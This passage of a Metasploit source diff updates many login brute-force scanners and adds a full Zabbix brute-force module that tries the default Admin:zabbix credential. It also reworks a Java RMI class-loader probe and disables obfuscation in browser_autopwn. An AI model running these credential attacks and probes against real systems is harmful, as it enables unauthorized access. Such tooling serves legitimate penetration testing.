datastore['VHOST'] + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/mybook_live_login.rb b/modules/auxiliary/scanner/http/mybook_live_login.rb index a4b2bf2a19..73a63d7d28 100644 --- a/modules/auxiliary/scanner/http/mybook_live_login.rb +++ b/modules/auxiliary/scanner/http/mybook_live_login.rb @@ -63,7 +63,9 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 10, user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, ) if ssl diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 3ec0e6bd13..57a569b075 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -154,24 +154,30 @@ class Metasploit3 < Msf::Auxiliary } }) - if not res or res.code != 303 + if not res + vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' returned no response") + return :skip_pass + end + + unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}')) vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}") return :skip_pass - else - print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - - report_hash = { - :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'splunk-web', - :user => user, - :pass => pass, - :active => true, - :type => 'password'} - - report_auth_info(report_hash) - return :next_user end + + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + + report_hash = { + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :sname => 'splunk-web', + :user => user, + :pass => pass, + :active => true, + :type => 'password'} + + report_auth_info(report_hash) + return :next_user + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT print_error("HTTP Connection Failed, Aborting") return :abort diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 922fe9bc05..b7e07631a6 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -114,7 +114,9 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 10, user_agent: datastore['UserAgent'], - vhost: datastore['VHOST'] + vhost: datastore['VHOST'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb index e509758173..21da03291e 100644 --- a/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress_ghost_scanner.rb @@ -11,11 +11,11 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'WordPress XMLRPC Ghost Vulnerability Scanner', + 'Name' => 'WordPress XMLRPC GHOST Vulnerability Scanner', 'Description' => %q{ - This module can be used to determine hosts vulnerable to the Ghost vulnerability via + This module can be used to determine hosts vulnerable to the GHOST vulnerability via a call to the WordPress XMLRPC interface. If the target is vulnerable, the system - will segfault and return a server error. On patched systems a normal XMLRPC error + will segfault and return a server error. On patched systems, a normal XMLRPC error is returned. }, 'Author' => diff --git a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb index 2af76c6918..79b2ba5114 100644 --- a/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb +++ b/modules/auxiliary/scanner/http/wordpress_xmlrpc_login.rb @@ -72,6 +72,8 @@ class Metasploit3 < Msf::Auxiliary stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 5, + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/http/zabbix_login.rb b/modules/auxiliary/scanner/http/zabbix_login.rb new file mode 100644 index 0000000000..d23ecf9f12 --- /dev/null +++ b/modules/auxiliary/scanner/http/zabbix_login.rb @@ -0,0 +1,182 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'metasploit/framework/login_scanner/zabbix' +require 'metasploit/framework/credential_collection' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Zabbix Server Brute Force Utility', + 'Description' => %q{ + This module attempts to login to Zabbix server instance using username and password + combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It + will also test for the Zabbix default login (Admin:zabbix) and guest access. + }, + 'Author' => + [ + 'hdm' + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The path to the Zabbix server application', '/zabbix/']), + OptBool.new('SSL', [false, 'Negotiate SSL for outgoing connections', false]), + OptEnum.new('SSLVersion', [false, 'Specify the version of SSL that should be used', 'TLS1', ['SSL2', 'SSL3', 'TLS1']]) + ], self.class) + end + + # + # main + # + def run_host(ip) + init_loginscanner(ip) + msg = @scanner.check_setup + if msg + print_brute :level => :error, :ip => rhost, :msg => msg + return + end + + print_brute :level=>:status, :ip=>rhost, :msg=>("Found Zabbix version #{@scanner.version}") + + if is_guest_mode_enabled? + print_brute :level => :good, :ip => ip, :msg => "Note: This Zabbix instance has Guest mode enabled" + else + print_brute :level=>:status, :ip=>rhost, :msg=>("Zabbix has disabled Guest mode") + end + + bruteforce(ip) + end + + def bruteforce(ip) + @scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::DENIED_ACCESS + print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end + end + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) + end + + def init_loginscanner(ip) + @cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + + # Always try the default first + @cred_collection.prepend_cred( + Metasploit::Framework::Credential.new(public: 'Admin', private: 'zabbix') + ) + + @scanner = Metasploit::Framework::LoginScanner::Zabbix.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + uri: datastore['TARGETURI'], + cred_details: @cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: 5, + framework: framework, + framework_module: self, + ) + + @scanner.ssl = datastore['SSL'] + @scanner.ssl_version = datastore['SSLVERSION'] + end + + # + # From the documentation: + # + # "In case of five consecutive failed login attempts, Zabbix interface will pause for 30 + # seconds in order to prevent brute force and dictionary attacks." + # + + # Zabbix enables a Guest mode by default that allows access to the dashboard without auth + def is_guest_mode_enabled? + dashboard_uri = normalize_uri(datastore['TARGETURI'] + '/' + 'dashboard.php') + res = send_request_cgi({'uri'=>dashboard_uri}) + !! (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: Dashboard<\/title>/) + end + +end diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb index 215cc63bbd..1c30e026a7 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_login.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_login.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary :sname => (ssl ? "https" : "http"), :user => user, :pass => pass, - :proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.headers['Set-Cookie']}", + :proof => "WEBAPP=\"Lotus Domino\", VHOST=#{vhost}, COOKIE=#{res.get_cookies}", :source_type => "user_supplied", :active => true ) diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 50afdbd8fd..7412806b60 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -4,10 +4,11 @@ ## require 'msf/core' +require 'rex/java/serialization' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Java::Rmi::Client include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -33,96 +34,122 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def setup - buf = gen_rmi_loader_packet - - jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' - old_url = "file:./rmidummy.jar" - new_url = "file:RMIClassLoaderSecurityTest/" + jar - - # Java strings in serialized data are prefixed with a 2-byte, big endian length - # (at least, as long as they are shorter than 65536 bytes) - find_me = [old_url.length].pack("n") + old_url - - idx = buf.index(find_me) - len = [new_url.length].pack("n") - - # Now replace it with the new url - buf[idx, find_me.length] = len + new_url - - @pkt = "JRMI" + [2,0x4b,0,0].pack("nCnN") + buf - end - def run_host(target_host) + vprint_status("#{peer} - Sending RMI Header...") + connect - begin - connect - sock.put("\x4a\x52\x4d\x49\0\x02\x4b") - res = sock.get_once - disconnect - - if res and res =~ /^\x4e..([^\x00]+)\x00\x00/ - info = $1 - - begin - # Determine if the instance allows remote class loading - connect - sock.put(@pkt) rescue nil - - buf = "" - 1.upto(6) do - res = sock.get_once(-1, 5) rescue nil - break if not res - buf << res - end - - rescue ::Interrupt - raise $! - rescue ::Exception - ensure - disconnect - end - - if buf =~ /RMI class loader disabled/ - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") - elsif buf.length > 0 - print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") - svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") - report_vuln( - :host => rhost, - :service => svc, - :name => self.name, - :info => "Module #{self.fullname} confirmed remote code execution via this RMI service", - :refs => self.references - ) - else - print_status("#{rhost}:#{rport} Java RMI Endpoint Detected") - report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") - end - - end - - rescue ::Interrupt - raise $! - rescue ::Rex::ConnectionError, ::IOError - ensure + send_header + ack = recv_protocol_ack + if ack.nil? + print_error("#{peer} - Filed to negotiate RMI protocol") disconnect + return end + # Determine if the instance allows remote class loading + vprint_status("#{peer} - Sending RMI Call...") + jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' + jar_url = "file:RMIClassLoaderSecurityTest/" + jar + + send_call(call_data: build_gc_call_data(jar_url)) + return_data = recv_return + + if return_data.nil? + print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") + return + end + + if loader_enabled?(return_data) + print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") + svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") + report_vuln( + :host => rhost, + :service => svc, + :name => self.name, + :info => "Module #{self.fullname} confirmed remote code execution via this RMI service", + :refs => self.references + ) + else + print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled") + report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled") + end end - def gen_rmi_loader_packet - "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" + - "\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" + - "\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" + - "\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" + - "\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" + - "\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" + - "\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a" + def loader_enabled?(stream) + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && + content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + !content.class_data[1].contents.include?('RMI class loader disabled') + return true + end + end + + false + end + + def build_gc_call_data(jar_url) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_array_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + + new_array_super = Rex::Java::Serialization::Model::ClassDesc.new + new_array_super.description = Rex::Java::Serialization::Model::NullReference.new + + new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;') + new_array_desc.serial_version = 0x871300b8d02c647e + new_array_desc.flags = 2 + new_array_desc.fields = [] + new_array_desc.class_annotation = new_array_annotation + new_array_desc.super_class = new_array_super + + array_desc = Rex::Java::Serialization::Model::ClassDesc.new + array_desc.description = new_array_desc + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.type = 'java.rmi.server.ObjID;' + new_array.values = [] + new_array.array_description = array_desc + + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') + new_class_desc.serial_version = 0xa16544ba26f9c2f4 + new_class_desc.flags = 2 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::Utf.new(nil, jar_url), + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + + stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + + stream end end diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 4461f78e61..b29f8eb7e0 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -55,7 +55,9 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], - windows_authentication: datastore['USE_WINDOWS_AUTHENT'] + windows_authentication: datastore['USE_WINDOWS_AUTHENT'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index 0314ea87d6..83cc06d7f3 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -64,6 +64,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index b19a89128c..f2b3d830af 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -74,6 +74,8 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index 24e10c2915..6ae5fbff3b 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -70,7 +70,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: cred_collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 30 + connection_timeout: 30, + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb index e7d85feaaa..ebcd3d6b6e 100644 --- a/modules/auxiliary/scanner/smb/pipe_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated # Scanner mixin should be near last include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb index fe272d4f3d..7e7a4154a9 100644 --- a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC # Scanner mixin should be near last diff --git a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb index cecd4833cc..658957578a 100644 --- a/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb +++ b/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB::Psexec + include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index da13a91f6d..b5136d13f5 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -9,8 +9,8 @@ require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC # Scanner mixin should be near last diff --git a/modules/auxiliary/scanner/smb/smb_enumusers.rb b/modules/auxiliary/scanner/smb/smb_enumusers.rb index 4f06379e47..3238c66dfc 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb index 3726abe538..5e4ed8e97d 100644 --- a/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb +++ b/modules/auxiliary/scanner/smb/smb_enumusers_domain.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC # Scanner mixin should be near last diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index c4c380f354..257a28b7fe 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -10,8 +10,8 @@ require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -77,6 +77,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 5, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) bogus_result = @scanner.attempt_bogus_login(domain) diff --git a/modules/auxiliary/scanner/smb/smb_lookupsid.rb b/modules/auxiliary/scanner/smb/smb_lookupsid.rb index 20bf9ae419..eddfc7c841 100644 --- a/modules/auxiliary/scanner/smb/smb_lookupsid.rb +++ b/modules/auxiliary/scanner/smb/smb_lookupsid.rb @@ -10,8 +10,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated include Msf::Exploit::Remote::DCERPC diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb index 422ca47e6a..9a1c016918 100644 --- a/modules/auxiliary/scanner/smb/smb_version.rb +++ b/modules/auxiliary/scanner/smb/smb_version.rb @@ -12,8 +12,8 @@ class Metasploit3 < Msf::Auxiliary # Exploit mixins should be called first include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client + include Msf::Exploit::Remote::SMB::Client::Authenticated # Scanner mixin should be near last include Msf::Auxiliary::Scanner diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index a9085437ed..223d5e7a75 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -61,7 +61,9 @@ class Metasploit3 < Msf::Auxiliary cred_details: collection, stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], - connection_timeout: 2 + connection_timeout: 2, + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/ssh/ssh_login.rb b/modules/auxiliary/scanner/ssh/ssh_login.rb index b7ed878607..599917e2dc 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login.rb @@ -117,6 +117,8 @@ class Metasploit3 < Msf::Auxiliary stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: datastore['SSH_TIMEOUT'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index 872376b712..9a4d75ae19 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -210,6 +210,8 @@ class Metasploit3 < Msf::Auxiliary bruteforce_speed: datastore['BRUTEFORCE_SPEED'], proxies: datastore['Proxies'], connection_timeout: datastore['SSH_TIMEOUT'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 4f45f2c86b..069e3f44dc 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -69,7 +69,9 @@ class Metasploit3 < Msf::Auxiliary max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], banner_timeout: datastore['TelnetBannerTimeout'], - telnet_timeout: datastore['TelnetTimeout'] + telnet_timeout: datastore['TelnetTimeout'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb index a7096d4fc6..3b76ae40f9 100644 --- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb +++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb @@ -76,6 +76,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: 30, max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 312e02a4b2..e84796785c 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -81,6 +81,8 @@ class Metasploit3 < Msf::Auxiliary connection_timeout: datastore['ConnectTimeout'], max_send_size: datastore['TCP::max_send_size'], send_delay: datastore['TCP::send_delay'], + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index da418946e6..1871aa59d1 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -61,6 +61,8 @@ class Metasploit3 < Msf::Auxiliary stop_on_success: datastore['STOP_ON_SUCCESS'], bruteforce_speed: datastore['BRUTEFORCE_SPEED'], connection_timeout: 10, + framework: framework, + framework_module: self, ) scanner.scan! do |result| diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 8df9a3f552..78d00a3013 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -236,9 +236,14 @@ class Metasploit3 < Msf::Auxiliary print_debug("NOTE: Debug Mode; javascript will not be obfuscated") else pre = Time.now - print_status("Obfuscating initial javascript #{pre}") - @init_js.obfuscate - print_status "Done in #{Time.now - pre} seconds" + + # + # 2/12/2015: Obfuscation is disabled because this is currently breaking BrowserAutoPwn + # + + #print_status("Obfuscating initial javascript #{pre}") + #@init_js.obfuscate + #print_status "Done in #{Time.now - pre} seconds" end #@init_js << "window.onload = #{@init_js.sym("bodyOnLoad")};"; @@ -826,8 +831,12 @@ class Metasploit3 < Msf::Auxiliary js << "#{js_debug("'starting exploits (' + global_exploit_list.length + ' total)<br>'")}\n" js << "window.next_exploit(0);\n" - js = ::Rex::Exploitation::JSObfu.new(js) - js.obfuscate 